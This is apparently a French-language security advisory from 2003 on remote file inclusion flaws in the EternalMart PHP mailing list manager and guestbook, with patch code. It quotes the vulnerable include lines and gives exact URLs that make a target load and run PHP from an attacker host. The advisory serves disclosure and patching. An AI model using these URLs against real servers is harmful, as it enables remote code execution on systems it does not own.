EternalMart
°°°°°°°°°°°
Informations :
°°°°°°°°°°°°°°
Langage : PHP
-------------------------------------------------
Produit : EMML (EternalMart Mailing List Manager)
Version : 1.32
-------------------------------------------------
Produit : EMGB (EternalMart Guestbook)
Version : 1.1
-------------------------------------------------
Website : http://www.eternalmart.com
Problème : Inclusions de fichiers
Developpement :
°°°°°°°°°°°°°°°
Le site EternelMart propose 3 applications PHP, dont deux sont touchées par une faille include.
Dans EMML, on voit dans le fichier emml_email_func.php la ligne :
--------------------------------------------------
include("$emml_path/class.html.mime.mail.php");
--------------------------------------------------
et dans /admin/auth.php la ligne :
--------------------------------------------
include("$emml_admin_path/auth_func.php");
--------------------------------------------
donc pour inclure et faire exécuter un fichier http://[attacker]/auth_func.php PHP sur le serveur [target],
il faudra taper l'url http://[target]/admin/auth.php?emml_admin_path=http://[attacker], et pour inclure un fichier
http://[attacker]/class.html.mime.mail.php, l'url http://[target]/emml_email_func.php?emml_path=http://[attacker].
Dans EMGB, la faille est aussi dans admin/auth.php, dans lequel on voit la ligne :
--------------------------------------------
include("$emgb_admin_path/auth_func.php");
--------------------------------------------
Pour inclure le fichier http://[attacker]/auth_func.php, il faudra cette fois-ci ce rendre à l'url :
http://[target]/admin/auth.php?emgb_admin_path=http://[attacker].
Solution :
°°°°°°°°°°
Des patchs sont disponibles sur http://www.phpsecure.info. Ils consistent en 3 lignes ajoutées au début des fichiers
buggés.
Dans EMML, au début de emml_email_func.php :
-----------------------------------
if (isset($_REQUEST["emml_path"])){
die("Don\'t do it :)");
}
-----------------------------------
et au début de /admin/auth.php :
-----------------------------------------
if (isset($_REQUEST["emml_admin_path"])){
die("Don\'t do it :)");
}
-----------------------------------------
Et dans EMGB, au début de /admin/auth.php :
-----------------------------------------
if (isset($_REQUEST["emgb_admin_path"])){
die("Don\'t do it :)");
}
-----------------------------------------
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : leseulfrog@hotmail.com
Website : http://www.phpsecure.info
Date : 16/09/03
Copyright frog-m@n
http://www.phpsecure.info/v2/zone/pArticle